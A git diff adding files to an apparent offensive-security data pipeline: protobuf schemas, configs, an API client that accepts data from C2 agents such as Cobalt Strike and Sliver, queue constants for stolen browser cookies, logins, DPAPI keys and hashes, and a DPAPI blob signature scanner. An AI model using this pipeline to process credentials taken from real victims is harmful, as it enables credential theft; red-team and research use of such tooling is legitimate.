+message NetworkAddressIngestion {
+ // Case sensitive address
+ string address = 1;
+
+ // Case insensitive name for the address type
+ // TODO: Make into an enum: ipv4, ipv6, mac, host, netbios, spn, ethernet
+ string type = 2;
+
+ // Name or id for a network interface card
+ string nic = 3;
+}
+message NetworkAddressIngestionMessage {
+ Metadata metadata = 1;
+ repeated NetworkAddressIngestion data = 2;
+}
+
+
+// Network routing rules for the host the agent is running on. The network mask
+// must be specified separately from the destination address. Addresses and
+// network masks are also expected to conform to the public standard for the
+// address type but there is no verification of this.
+message RouteDataIngestion {
+ // Case sensitive address
+ string destination = 1;
+
+ // Address of the routing host
+ string gateway = 2;
+
+ // Network mask for the destination address
+ string mask = 3;
+
+ // Name or id for a network interface card
+ string nic = 4;
+
+ // Protocol of the route rule
+ string protocol = 5;
+}
+message RouteDataIngestionMessage {
+ Metadata metadata = 1;
+ repeated RouteDataIngestion data = 2;
+}
+
+
+// Current time information about the host the agent is running on. The
+// subparameters of the Users list must delimited by spaces in CSV submissions.
+// Note that all date time parameters are expected to be in UTC from the Unix
+// epoch regardless of what time zone the host uses.
+message UserTime {
+ string user = 1;
+ uint32 session = 2;
+ uint64 time = 3;
+}
+message TimeDataIngestion {
+ // Current time for the host
+ google.protobuf.Timestamp current = 1;
+
+ // How long the host has been running in seconds
+ uint64 runtime = 2;
+
+ // List of users, their session, and their time logged on
+ repeated UserTime users = 3;
+
+ // The time zone that the host uses
+ string zone = 4;
+}
+message TimeDataIngestionMessage {
+ Metadata metadata = 1;
+ repeated TimeDataIngestion data = 2;
+}
+
diff --git a/packages/python/nemesiscommon/.flake8 b/packages/python/nemesiscommon/.flake8
new file mode 100644
index 0000000..c81324f
--- /dev/null
+++ b/packages/python/nemesiscommon/.flake8
@@ -0,0 +1,8 @@
+[flake8]
+ignore = E231, E241
+max-line-length = 240
+count = true
+max-complexity = 10
+max-cognitive-complexity=20
+exclude =
+ .venv
\ No newline at end of file
diff --git a/packages/python/nemesiscommon/.gitignore b/packages/python/nemesiscommon/.gitignore
new file mode 100644
index 0000000..6a51c39
--- /dev/null
+++ b/packages/python/nemesiscommon/.gitignore
@@ -0,0 +1,164 @@
+# Byte-compiled / optimized / DLL files
+__pycache__/
+*.py[cod]
+*$py.class
+
+# C extensions
+*.so
+
+# Distribution / packaging
+.Python
+build/
+develop-eggs/
+dist/
+downloads/
+eggs/
+.eggs/
+lib/
+lib64/
+parts/
+sdist/
+var/
+wheels/
+share/python-wheels/
+*.egg-info/
+.installed.cfg
+*.egg
+MANIFEST
+
+# PyInstaller
+# Usually these files are written by a python script from a template
+# before PyInstaller builds the exe, so as to inject date/other infos into it.
+*.manifest
+*.spec
+
+# Installer logs
+pip-log.txt
+pip-delete-this-directory.txt
+
+# Unit test / coverage reports
+htmlcov/
+.tox/
+.nox/
+.coverage
+.coverage.*
+.cache
+nosetests.xml
+coverage.xml
+*.cover
+*.py,cover
+.hypothesis/
+.pytest_cache/
+cover/
+
+# Translations
+*.mo
+*.pot
+
+# Django stuff:
+*.log
+local_settings.py
+db.sqlite3
+db.sqlite3-journal
+
+# Flask stuff:
+instance/
+.webassets-cache
+
+# Scrapy stuff:
+.scrapy
+
+# Sphinx documentation
+docs/_build/
+
+# PyBuilder
+.pybuilder/
+target/
+
+# Jupyter Notebook
+.ipynb_checkpoints
+
+# IPython
+profile_default/
+ipython_config.py
+
+# pyenv
+# For a library or package, you might want to ignore these files since the code is
+# intended to run in multiple environments; otherwise, check them in:
+# .python-version
+
+# pipenv
+# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
+# However, in case of collaboration, if having platform-specific dependencies or dependencies
+# having no cross-platform support, pipenv may install dependencies that don't work, or not
+# install all needed dependencies.
+#Pipfile.lock
+
+# poetry
+# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
+# This is especially recommended for binary packages to ensure reproducibility, and is more
+# commonly ignored for libraries.
+# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
+#poetry.lock
+
+# pdm
+# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
+#pdm.lock
+# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
+# in version control.
+# https://pdm.fming.dev/#use-with-ide
+.pdm.toml
+
+# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
+__pypackages__/
+
+# Celery stuff
+celerybeat-schedule
+celerybeat.pid
+
+# SageMath parsed files
+*.sage.py
+
+# Environments
+.env
+.venv
+env/
+venv/
+ENV/
+env.bak/
+venv.bak/
+
+# Spyder project settings
+.spyderproject
+.spyproject
+
+# Rope project settings
+.ropeproject
+
+# mkdocs documentation
+/site
+
+# mypy
+.mypy_cache/
+.dmypy.json
+dmypy.json
+
+# Pyre type checker
+.pyre/
+
+# pytype static type analyzer
+.pytype/
+
+# Cython debug symbols
+cython_debug/
+
+# PyCharm
+# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
+# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
+# and can be added to the global gitignore or merged into this file. For a more nuclear
+# option (not recommended) you can uncomment the following to ignore the entire idea folder.
+#.idea/
+
+process_categorizer-data/
+# Ignore dynaconf secret files
+.secrets.*
\ No newline at end of file
diff --git a/packages/python/nemesiscommon/.python-version b/packages/python/nemesiscommon/.python-version
new file mode 100644
index 0000000..1e33456
--- /dev/null
+++ b/packages/python/nemesiscommon/.python-version
@@ -0,0 +1 @@
+3.11.2
diff --git a/packages/python/nemesiscommon/.vscode/launch.json b/packages/python/nemesiscommon/.vscode/launch.json
new file mode 100644
index 0000000..eaad774
--- /dev/null
+++ b/packages/python/nemesiscommon/.vscode/launch.json
@@ -0,0 +1,15 @@
+{
+ // Use IntelliSense to learn about possible attributes.
+ // Hover to view descriptions of existing attributes.
+ // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
+ "version": "0.2.0",
+ "configurations": [
+ {
+ "name": "Debug Tests",
+ "type": "python",
+ "request": "test",
+ "console": "internalConsole",
+ "justMyCode": false
+ }
+ ]
+}
\ No newline at end of file
diff --git a/packages/python/nemesiscommon/.vscode/settings.json b/packages/python/nemesiscommon/.vscode/settings.json
new file mode 100644
index 0000000..c684d7b
--- /dev/null
+++ b/packages/python/nemesiscommon/.vscode/settings.json
@@ -0,0 +1,53 @@
+{
+ "python.linting.pylintEnabled": false,
+ "python.linting.flake8Enabled": true,
+ "python.linting.enabled": true,
+ "python.linting.flake8Args": [
+ "--max-line-length=240",
+ "--ignore=E203,E722,W503",
+ ],
+ "python.analysis.diagnosticSeverityOverrides": {
+ "reportMissingImports": "none",
+ "reportMissingModuleSource": "none",
+ },
+ "editor.formatOnSave": true,
+ "files.trimTrailingWhitespace": true,
+ "python.formatting.provider": "none",
+ "python.formatting.blackArgs": [
+ "--line-length",
+ "240"
+ ],
+ "python.testing.pytestArgs": [
+ "tests"
+ ],
+ "python.testing.unittestEnabled": false,
+ "python.testing.pytestEnabled": true,
+ "[python]": {
+ "editor.codeActionsOnSave": {
+ "source.organizeImports": true
+ },
+ "editor.defaultFormatter": "ms-python.black-formatter"
+ },
+ "files.exclude": {
+ "**/__pycache__/**": true,
+ "**/.pytest_cache/**": true,
+ "**/.venv/**": true,
+ "**/*.pyc": {
+ "when": "$(basename).py",
+ },
+ },
+ "files.watcherExclude": {
+ "**/__pycache__/**": true,
+ "**/.git/objects/**": true,
+ "**/.git/subtree-cache/**": true,
+ "**/.hg/store/**": true,
+ "**/.ipynb_checkpoints/**": true,
+ "**/.mypy_cache/**": true,
+ "**/.pytest_cache/**": true,
+ "**/.venv/**": true,
+ "**/*.egg-info/**": true,
+ "**/build/**": true,
+ "**/dist/**": true,
+ "**/node_modules/*/**": true,
+ }
+}
\ No newline at end of file
diff --git a/packages/python/nemesiscommon/nemesiscommon/__init__.py b/packages/python/nemesiscommon/nemesiscommon/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/packages/python/nemesiscommon/nemesiscommon/apiclient.py b/packages/python/nemesiscommon/nemesiscommon/apiclient.py
new file mode 100644
index 0000000..ec51fd5
--- /dev/null
+++ b/packages/python/nemesiscommon/nemesiscommon/apiclient.py
@@ -0,0 +1,186 @@
+# Standard Libraries
+import logging
+import os
+from dataclasses import dataclass
+from datetime import datetime
+from enum import Enum
+from typing import Any, NewType, Optional
+from uuid import UUID
+
+# 3rd Party Libraries
+import httpx
+from pydantic import PositiveInt
+
+logger = logging.getLogger("NemesisConnector")
+
+
+NemesisFileId = NewType("NemesisFileId", UUID)
+NemesisMessageId = NewType("NemesisMessageId", UUID)
+
+
+@dataclass
+class FileUploadRequest:
+ file_path: str
+
+
+@dataclass
+class FileUploadResponse:
+ object_id: NemesisFileId
+
+
+class NemesisAgent(Enum):
+ COBALTSTRIKE_BEACON = "cobaltstrike_beacon"
+ MANUAL = "manual" # For manually uploaded data
+ MERLIN = "merlin"
+ METASPLOIT_METERPRETER = "metasploit_meterpreter"
+ MYTHIC = "mythic"
+ SLIVER = "sliver"
+ STAGE1 = "stage1"
+
+
+class NemesisDataType(Enum):
+ FileData = "file_data"
+
+
+@dataclass
+class Metadata:
+ agent_id: str
+ agent_type: str
+ automated: bool
+ data_type: NemesisDataType
+ expiration: datetime
+ source: str
+ project: str
+ timestamp: datetime
+
+ def to_dict(self) -> dict[str, Any]:
+ out = {
+ "agent_id": self.agent_id,
+ "agent_type": self.agent_type,
+ "automated": self.automated,
+ "data_type": self.data_type.value,
+ "expiration": convert_to_nemesis_timestamp(self.expiration),
+ "source": self.source,
+ "project": self.project,
+ "timestamp": convert_to_nemesis_timestamp(self.timestamp),
+ }
+ return out
+
+
+def convert_to_nemesis_timestamp(timestamp: datetime) -> str:
+ """Converts a datetime object to a Nemesis timestamp.
+
+ Args:
+ timestamp (datetime): The timestamp to convert
+
+ Returns:
+ str: The timestamp in Nemesis format
+ """
+ return timestamp.strftime("%Y-%m-%dT%H:%M:%S.000Z")
+
+
+@dataclass
+class FileData:
+ path: str
+ size: PositiveInt
+ object_id: NemesisFileId
+
+
+@dataclass
+class FileDataRequest:
+ metadata: Metadata
+ data: list[FileData]
+
+
+@dataclass
+class DataResponse:
+ object_id: NemesisMessageId
+
+
+class NemesisApiClient:
+ client: httpx.AsyncClient
+
+ FILE_ENDPOINT = "/file"
+ DATA_ENDPOINT = "/data"
+
+ def __init__(self, url: str, client: Optional[httpx.AsyncClient]) -> None:
+ """Create a new Nemesis API HTTP client.
+
+ Args:
+ url (str): Base URL to the Nemesis API. Example: https://nemesis.example.com/api/
+ auth (Optional[httpx.Auth]): Authentication to use for the API
+ """
+ if client:
+ self.client = client
+ else:
+ self.client = httpx.AsyncClient(base_url=url)
+ headers = {"Content-Type": "application/octet-stream"}
+ self.client.headers.update(headers)
+
+ async def send_file(self, r: FileUploadRequest) -> FileUploadResponse:
+ """Uploads a file to Nemesis and returns a Nemesis file object UUID.
+
+ Args:
+ data (FileDataRequest): API request parameters
+
+ Raises:
+ httpx.HttpStatusError: An exception containing information about HTTP error code and response body
+
+ Returns:
+ FileUploadResponse: Structure containing the fild object UUID
+ """
+ if not os.path.isfile(r.file_path):
+ raise Exception(f"File {r.file_path} does not exist")
+
+ # TODO: Stream the file instead of reading all bytes into memory
+ with open(r.file_path, "rb") as f:
+ data = f.read()
+ resp = await self.client.post(self.FILE_ENDPOINT, content=data)
+
+ resp.raise_for_status()
+
+ obj = resp.json()
+ return FileUploadResponse(NemesisFileId(obj["object_id"]))
+
+ async def send_file_data(self, data: FileDataRequest) -> DataResponse:
+ """Uploads a file_data object to Nemesis and returns a Nemesis file object UUID.
+
+ Args:
+ data (FileDataRequest): file_data object to up send to Nemesis
+
+ Raises:
+ httpx.HttpStatusError: An exception containing information about HTTP error code and response body
+
+ Returns:
+ DataResponse: Structure containing the object_id of the data message
+ """
+
+ json = {
+ "metadata": {
+ "agent_id": data.metadata.agent_id,
+ "agent_type": data.metadata.agent_type,
+ "automated": data.metadata.automated,
+ "data_type": data.metadata.data_type.value,
+ "expiration": convert_to_nemesis_timestamp(data.metadata.expiration),
+ "source": data.metadata.source,
+ "project": data.metadata.project,
+ "timestamp": convert_to_nemesis_timestamp(data.metadata.timestamp),
+ },
+ "data": [],
+ }
+
+ for d in data.data:
+ json["data"].append(
+ {
+ "path": d.path,
+ "size": d.size,
+ "object_id": d.object_id,
+ }
+ )
+
+ resp = await self.client.post(self.DATA_ENDPOINT, json=json)
+
+ resp.raise_for_status()
+
+ obj = resp.json()
+ return DataResponse(NemesisMessageId(obj["object_id"]))
diff --git a/packages/python/nemesiscommon/nemesiscommon/constants.py b/packages/python/nemesiscommon/nemesiscommon/constants.py
new file mode 100644
index 0000000..f795730
--- /dev/null
+++ b/packages/python/nemesiscommon/nemesiscommon/constants.py
@@ -0,0 +1,172 @@
+# Standard Libraries
+from typing import List
+
+# 3rd Party Libraries
+from attr import dataclass
+
+QueueName = str
+ExchangeName = str
+ElasticIndex = str
+
+NemesisExchange: ExchangeName = "nemesis"
+
+NEMESIS_EXCHANGE: str = "nemesis"
+
+NemesisQueue = str
+
+# Nemesis (Q)ueue Names (alphabetical order, no plurals)
+Q_ALERT: NemesisQueue = "alert"
+Q_AUTHENTICATION_DATA: NemesisQueue = "authentication_data"
+Q_CHROMIUM_COOKIE_PROCESSED: NemesisQueue = "chromium_cookie_processed"
+Q_CHROMIUM_COOKIE: NemesisQueue = "chromium_cookie"
+Q_CHROMIUM_DOWNLOAD: NemesisQueue = "chromium_download"
+Q_CHROMIUM_HISTORY: NemesisQueue = "chromium_history"
+Q_CHROMIUM_LOGIN_PROCESSED: NemesisQueue = "chromium_login_processed"
+Q_CHROMIUM_LOGIN: NemesisQueue = "chromium_login"
+Q_CHROMIUM_STATE_FILE_PROCESSED: NemesisQueue = "chromium_state_file_processed"
+Q_CHROMIUM_STATE_FILE: NemesisQueue = "chromium_state_file"
+Q_COOKIE: NemesisQueue = "cookie"
+Q_DPAPI_BLOB_PROCESSED: NemesisQueue = "dpapi_blob_processed"
+Q_DPAPI_BLOB: NemesisQueue = "dpapi_blob"
+Q_DPAPI_DOMAIN_BACKUPKEY: NemesisQueue = "dpapi_domain_backupkey"
+Q_DPAPI_MASTERKEY_PROCESSED: NemesisQueue = "dpapi_masterkey_processed"
+Q_DPAPI_MASTERKEY: NemesisQueue = "dpapi_masterkey"
+Q_EXTRACTED_HASH: NemesisQueue = "extracted_hash"
+Q_FILE_DATA_ENRICHED: NemesisQueue = "file_data_enriched"
+Q_FILE_DATA_PLAINTEXT: NemesisQueue = "file_data_plaintext"
+Q_FILE_DATA_SOURCECODE: NemesisQueue = "file_data_sourcecode"
+Q_FILE_DATA: NemesisQueue = "file_data"
+Q_FILE_INFORMATION: NemesisQueue = "file_information"
+Q_NAMED_PIPE: NemesisQueue = "named_pipe"
+Q_NETWORK_CONNECTION: NemesisQueue = "network_connection"
+Q_PATH_LIST: NemesisQueue = "path_list"
+Q_PROCESS_ENRICHED: NemesisQueue = "process_enriched"
+Q_PROCESS: NemesisQueue = "process"
+Q_RAW_DATA: NemesisQueue = "raw_data"
+Q_REGISTRY_VALUE: NemesisQueue = "registry_value"
+Q_SERVICE_ENRICHED: NemesisQueue = "service_enriched"
+Q_SERVICE: NemesisQueue = "service"
+
+ALL_QUEUES: List[NemesisQueue] = [
+ Q_ALERT,
+ Q_AUTHENTICATION_DATA,
+ Q_CHROMIUM_COOKIE_PROCESSED,
+ Q_CHROMIUM_COOKIE,
+ Q_CHROMIUM_DOWNLOAD,
+ Q_CHROMIUM_HISTORY,
+ Q_CHROMIUM_LOGIN_PROCESSED,
+ Q_CHROMIUM_LOGIN,
+ Q_CHROMIUM_STATE_FILE_PROCESSED,
+ Q_CHROMIUM_STATE_FILE,
+ Q_COOKIE,
+ Q_DPAPI_BLOB_PROCESSED,
+ Q_DPAPI_BLOB,
+ Q_DPAPI_DOMAIN_BACKUPKEY,
+ Q_DPAPI_MASTERKEY_PROCESSED,
+ Q_DPAPI_MASTERKEY,
+ Q_EXTRACTED_HASH,
+ Q_FILE_DATA_ENRICHED,
+ Q_FILE_DATA_PLAINTEXT,
+ Q_FILE_DATA_SOURCECODE,
+ Q_FILE_DATA,
+ Q_FILE_INFORMATION,
+ Q_PATH_LIST,
+ Q_PROCESS_ENRICHED,
+ Q_PROCESS,
+ Q_RAW_DATA,
+ Q_REGISTRY_VALUE,
+ Q_SERVICE_ENRICHED,
+ Q_SERVICE,
+ Q_NAMED_PIPE,
+ Q_NETWORK_CONNECTION,
+]
+
+
+@dataclass
+class QueueBinding:
+ Exchange: str
+ Queue: str
+ RoutingKey: str
+
+
+RABBITMQ_QUEUE_BINDINGS: dict[NemesisQueue, QueueBinding] = {}
+for q in ALL_QUEUES:
+ RABBITMQ_QUEUE_BINDINGS[q] = QueueBinding(NEMESIS_EXCHANGE, q, q)
+
+
+ES_INDEX_AUTHENTICATION_DATA: ElasticIndex = "authentication_data"
+ES_INDEX_EXTRACTED_HASH: ElasticIndex = "extracted_hash"
+ES_INDEX_FILE_DATA_ENRICHED: ElasticIndex = "file_data_enriched"
+ES_INDEX_FILE_DATA_PLAINTEXT: ElasticIndex = "file_data_plaintext"
+ES_INDEX_FILE_DATA_SOURCECODE: ElasticIndex = "file_data_sourcecode"
+ES_INDEX_FILE_INFORMATION: ElasticIndex = "file_information"
+ES_INDEX_PROCESS_CATEGORY: ElasticIndex = "process_category"
+ES_INDEX_REGISTRY_VALUE: ElasticIndex = "registry_value"
+ES_INDEX_SERVICE_ENRICHED: ElasticIndex = "service_enriched"
+ES_INDEX_NAMED_PIPE: ElasticIndex = "named_pipe"
+ES_INDEX_NETWORK_CONNECTION: ElasticIndex = "network_connection"
+
+ALL_ES_INDICIES: List[ElasticIndex] = [
+ ES_INDEX_AUTHENTICATION_DATA,
+ ES_INDEX_EXTRACTED_HASH,
+ ES_INDEX_FILE_DATA_ENRICHED,
+ ES_INDEX_FILE_DATA_PLAINTEXT,
+ ES_INDEX_FILE_DATA_SOURCECODE,
+ ES_INDEX_FILE_INFORMATION,
+ ES_INDEX_PROCESS_CATEGORY,
+ ES_INDEX_REGISTRY_VALUE,
+ ES_INDEX_SERVICE_ENRICHED,
+ ES_INDEX_NAMED_PIPE,
+ ES_INDEX_NETWORK_CONNECTION
+]
+
+NemesisEnrichment = str
+
+# Nemesis Enrichment Names
+E_FILE_HASHES: NemesisEnrichment = "file_hashes"
+E_KNOWN_FILE_PARSED: NemesisEnrichment = "known_file_parsed"
+E_DPAPI_BLOB_SCAN: NemesisEnrichment = "dpapi_blob_scan"
+E_DPAPI_BLOB_CARVED: NemesisEnrichment = "dpapi_blob_carved"
+E_TEXT_EXTRACTED: NemesisEnrichment = "text_extracted"
+E_PDF_CONVERSION: NemesisEnrichment = "pdf_conversion"
+E_YARA_SCAN: NemesisEnrichment = "yara_scan"
+E_NOSEYPARKER_SCAN: NemesisEnrichment = "noseyparker_scan"
+E_ARCHIVE_CONTENTS_PROCESSED: NemesisEnrichment = "archive_contents_processed"
+E_DOTNET_ANALYSIS: NemesisEnrichment = "dotnet_analysis"
+E_UPDATE_CRACKLIST: NemesisEnrichment = "update_cracklist"
+E_EXTRACT_PASSWORDS: NemesisEnrichment = "extract_passwords"
+E_SUMMARIZE: NemesisEnrichment = "summarize"
+E_NOSEYPARKER_SCAN_TEXT: NemesisEnrichment = "noseyparker_scan_text" # NoseyParker scan, but on text
+E_PROCESS_CATEGORY: NemesisEnrichment = "process_category"
+E_SERVICE_CATEGORY: NemesisEnrichment = "service_category"
+E_COOKIE_CLASSIFICATION: NemesisEnrichment = "cookie_classification"
+
+NemesisEnrichmentTag = str
+
+# file enrichment tags
+E_TAG_CONTAINS_DPAPI: NemesisEnrichmentTag = "contains_dpapi"
+E_TAG_NOSEYPARKER_RESULTS: NemesisEnrichmentTag = "noseyparker_results"
+E_TAG_PARSED_CREDS: NemesisEnrichmentTag = "parsed_creds"
+E_TAG_ENCRYPTED: NemesisEnrichmentTag = "encrypted"
+E_TAG_DESERIALIZATION: NemesisEnrichmentTag = "deserialization"
+E_TAG_CMD_EXECUTION: NemesisEnrichmentTag = "cmd_execution"
+E_TAG_REMOTING: NemesisEnrichmentTag = "remoting"
+E_TAG_YARA_MATCHES: NemesisEnrichmentTag = "yara_matches"
+E_TAG_FILE_CANARY: NemesisEnrichmentTag = "file_canary"
+
+
+# Yara rules to exclude from alerting/tagging due to false positives
+# matches are still preserved in the base file_data_enriched object
+EXCLUDED_YARA_RULES = [
+ "ConventionEngine_Keyword_Driver",
+ "ConventionEngine_Keyword_Client",
+ "ConventionEngine_Keyword_Hook"
+]
+
+
+NemesisRegistryTag = str
+
+# registry filtering tags
+REG_TAG_KEY: NemesisRegistryTag = "key_path_match"
+REG_TAG_VALUE: NemesisRegistryTag = "value_match"
+REG_TAG_DPAPI: NemesisRegistryTag = "dpapi_value"
diff --git a/packages/python/nemesiscommon/nemesiscommon/helpers.py b/packages/python/nemesiscommon/nemesiscommon/helpers.py
new file mode 100644
index 0000000..5982acc
--- /dev/null
+++ b/packages/python/nemesiscommon/nemesiscommon/helpers.py
@@ -0,0 +1,38 @@
+#
+# Common helpers used across various Nemesis code.
+#
+
+# Standard Libraries
+import os
+import structlog
+from typing import List
+
+
+logger = structlog.get_logger(module=__name__)
+
+
+def getEnvVar(name: str) -> str:
+ val = os.environ.get(name)
+ if val is None:
+ raise Exception(f"{name} environment variable not set.")
+ return val
+
+
+
+async def scan_for_dpapi_blob(input: bytes) -> bool:
+ """Scans input bytes for DPAPI blobs, returning true if any are present."""
+
+ dpapi_signatures = [
+ b"\x01\x00\x00\x00\xD0\x8C\x9D\xDF\x01\x15\xD1\x11\x8C\x7A\x00\xC0\x4F\xC2\x97\xEB",
+ # The following are potential base64 representations of the DPAPI provider GUID
+ # Generated by putting dpapiProviderGuid into the script here: https://www.leeholmes.com/blog/2017/09/21/searching-for-content-in-base-64-strings/
+ b"AAAA0Iyd3wEV0RGMegDAT8KX6",
+ b"AQAAANCMnd8BFdERjHoAwE/Cl+",
+ b"EAAADQjJ3fARXREYx6AMBPwpfr"
+ ]
+
+ for dpapi_signature in dpapi_signatures:
+ if input.find(dpapi_signature) != -1:
+ return True
+
+ return False
diff --git a/packages/python/nemesiscommon/nemesiscommon/logging.py b/packages/python/nemesiscommon/nemesiscommon/logging.py
new file mode 100644
index 0000000..31c18aa
--- /dev/null
+++ b/packages/python/nemesiscommon/nemesiscommon/logging.py
@@ -0,0 +1,76 @@
+# Standard Libraries
+import logging
+
+# 3rd Party Libraries
+import structlog
+from rich.console import Console
+from rich.traceback import Traceback
+
+
+# TODO: Figure out how to use structlog with uvicorn's logging
+def configure_logger(enable_json_logs: bool = False, log_level: str = "INFO", environment: str = "development"):
+ level: int = logging.getLevelName(log_level)
+
+ if environment == "production":
+ configure_prod_logger(level)
+ else:
+ configure_dev_logger(level)
+
+
+def rich_traceback(sio, exc_info) -> None:
+ """
+ Pretty-print *exc_info* to *sio* using the *Rich* package.
+
+ To be passed into `ConsoleRenderer`'s ``exception_formatter`` argument.
+
+ Used by default if *Rich* is installed.
+
+ .. versionadded:: 21.2
+ """
+ sio.write("\n")
+ Console(file=sio, color_system="truecolor").print(
+ Traceback.from_exception(
+ *exc_info,
+ show_locals=False,
+ )
+ )
+
+
+def configure_dev_logger(level: int):
+ # timestamper = structlog.processors.TimeStamper(fmt="%Y-%m-%d %H:%M:%S")
+
+ wrapper = structlog.make_filtering_bound_logger(level)
+ structlog.configure(
+ processors=[
+ structlog.contextvars.merge_contextvars,
+ structlog.processors.add_log_level,
+ # timestamper,
+ structlog.processors.StackInfoRenderer(),
+ # structlog.dev.set_exc_info,
+ structlog.dev.ConsoleRenderer(
+ colors=True,
+ exception_formatter=rich_traceback,
+ ),
+ ],
+ wrapper_class=wrapper,
+ context_class=dict,
+ logger_factory=structlog.PrintLoggerFactory(),
+ cache_logger_on_first_use=False,
+ )
+
+
+def configure_prod_logger(level: int):
+ structlog.configure(
+ processors=[
+ structlog.processors.TimeStamper(fmt="iso"),
+ structlog.contextvars.merge_contextvars,
+ structlog.processors.add_log_level,
+ structlog.processors.StackInfoRenderer(),
+ structlog.processors.format_exc_info,
+ structlog.processors.JSONRenderer(),
+ ],
+ wrapper_class=structlog.make_filtering_bound_logger(level),
+ context_class=dict,
+ logger_factory=structlog.PrintLoggerFactory(),
+ cache_logger_on_first_use=True,
+ )
diff --git a/packages/python/nemesiscommon/nemesiscommon/messaging.py b/packages/python/nemesiscommon/nemesiscommon/messaging.py
new file mode 100644
index 0000000..38ee5ee
--- /dev/null
+++ b/packages/python/nemesiscommon/nemesiscommon/messaging.py
@@ -0,0 +1,58 @@
+# Standard Libraries
+from abc import ABC, abstractmethod
+from types import TracebackType
+from typing import Any, Callable, Coroutine, Optional, Type, TypeVar
+
+# 3rd Party Libraries
+import google.protobuf.message
+
+T = TypeVar("T")
+
+
+class MessageQueueProducerInterface(ABC):
+ @abstractmethod
+ async def Send(self, message: bytes) -> None:
+ raise NotImplementedError
+
+ @abstractmethod
+ async def Close(self) -> None:
+ raise NotImplementedError
+
+ @abstractmethod
+ async def __aenter__(self):
+ raise NotImplementedError
+
+ @abstractmethod
+ async def __aexit__(
+ self,
+ exc_type: Optional[Type[BaseException]],
+ exc_val: Optional[BaseException],
+ exc_tb: Optional[TracebackType],
+ ) -> None:
+ raise NotImplementedError
+
+
+class MessageQueueConsumerInterface(ABC):
+ @abstractmethod
+ async def Read(
+ self,
+ worker: Callable[[google.protobuf.message.Message], Coroutine[Any, Any, None]],
+ ) -> None:
+ raise NotImplementedError
+
+ @abstractmethod
+ async def Close(self) -> None:
+ raise NotImplementedError
+
+ @abstractmethod
+ async def __aenter__(self):
+ raise NotImplementedError
+
+ @abstractmethod
+ async def __aexit__(
+ self,
+ exc_type: Optional[Type[BaseException]],
+ exc_val: Optional[BaseException],
+ exc_tb: Optional[TracebackType],
+ ) -> None:
+ raise NotImplementedError
diff --git a/packages/python/nemesiscommon/nemesiscommon/messaging_rabbitmq.py b/packages/python/nemesiscommon/nemesiscommon/messaging_rabbitmq.py
new file mode 100644
index 0000000..6253390
--- /dev/null
+++ b/packages/python/nemesiscommon/nemesiscommon/messaging_rabbitmq.py
@@ -0,0 +1,218 @@
+# Standard Libraries
+import asyncio
+from abc import abstractmethod
+from types import TracebackType
+from typing import Awaitable, Callable, Generic, Optional, Type, TypeVar
+
+# 3rd Party Libraries
+import aio_pika
+import structlog
+from aio_pika import (
+ DeliveryMode,
+ ExchangeType,
+ Message,
+ RobustChannel,
+ RobustConnection,
+ RobustExchange,
+)
+from aio_pika.abc import (
+ AbstractChannel,
+ AbstractConnection,
+ AbstractIncomingMessage,
+ AbstractQueue,
+)
+from google.protobuf.message import Message as ProtobufMessage
+from nemesiscommon.constants import RABBITMQ_QUEUE_BINDINGS, NemesisQueue
+from nemesiscommon.messaging import (
+ MessageQueueConsumerInterface,
+ MessageQueueProducerInterface,
+)
+from nemesiscommon.tasking import TaskInterface
+
+T = TypeVar("T", bound=ProtobufMessage)
+logger = structlog.get_logger(module=__name__)
+
+
+class NemesisRabbitMQProducer(MessageQueueProducerInterface):
+ __connection: RobustConnection
+ __channel: RobustChannel
+ __exchange: RobustExchange
+ __queue: NemesisQueue
+ __routingKey: str
+
+ def __init__(
+ self,
+ connection: RobustConnection,
+ channel: RobustChannel,
+ exchange: RobustExchange,
+ queue: NemesisQueue,
+ routingKey: str,
+ ) -> None:
+ self.__connection = connection
+ self.__channel = channel
+ self.__exchange = exchange
+ self.__queue = queue
+ self.__routingKey = routingKey
+
+ @classmethod
+ async def create(self, uri: str, queue: NemesisQueue) -> "NemesisRabbitMQProducer":
+ connection = await aio_pika.connect_robust(uri)
+ channel = await connection.channel()
+
+ # Ensure the exchange exists
+ exchangeObj = await channel.declare_exchange(
+ RABBITMQ_QUEUE_BINDINGS[queue].Exchange,
+ ExchangeType.DIRECT,
+ durable=True,
+ )
+
+ return self(
+ connection,
+ channel,
+ exchangeObj,
+ queue,
+ RABBITMQ_QUEUE_BINDINGS[queue].RoutingKey,
+ )
+
+ async def Send(self, message: bytes) -> None:
+ await logger.adebug(
+ "Sending message to RabbitMQ",
+ exchange=self.__exchange.name,
+ routing_key=self.__routingKey,
+ queue=self.__queue,
+ )
+
+ q_msg = Message(
+ message,
+ delivery_mode=DeliveryMode.PERSISTENT,
+ )
+
+ await self.__exchange.publish(q_msg, routing_key=self.__routingKey)
+
+ async def Close(self) -> None:
+ self.__exchange
+ if not self.__channel or self.__channel.is_closed:
+ return
+ else:
+ await self.__channel.close()
+
+ if not self.__connection or self.__connection.is_closed:
+ return
+
+ await self.__connection.close()
+
+ async def __aenter__(self):
+ return self
+
+ async def __aexit__(
+ self,
+ exc_type: Optional[Type[BaseException]],
+ exc_val: Optional[BaseException],
+ exc_tb: Optional[TracebackType],
+ ) -> None:
+ await self.Close()
+
+
+class NemesisRabbitMQConsumer(MessageQueueConsumerInterface, Generic[T]):
+ __connection: AbstractConnection
+ __channel: AbstractChannel
+ __queue: AbstractQueue
+ __queueType: Type[T]
+
+ def __init__(
+ self,
+ connection: AbstractConnection,
+ channel: AbstractChannel,
+ queue: AbstractQueue,
+ inputQtype: Type[T],
+ ) -> None:
+ self.__connection = connection
+ self.__channel = channel
+ self.__queue = queue
+ self.__queueType = inputQtype
+
+ @classmethod
+ async def create(
+ cls,
+ uri: str,
+ queue: str,
+ inputQtype: Type[T],
+ service_id: str,
+ num_events: int = 250,
+ ):
+ connection = await aio_pika.connect_robust(uri)
+ channel = await connection.channel()
+ await channel.set_qos(num_events)
+
+ # Ensure the queue exists
+ rabbitQueueName = RABBITMQ_QUEUE_BINDINGS[queue].Queue + "." + service_id
+
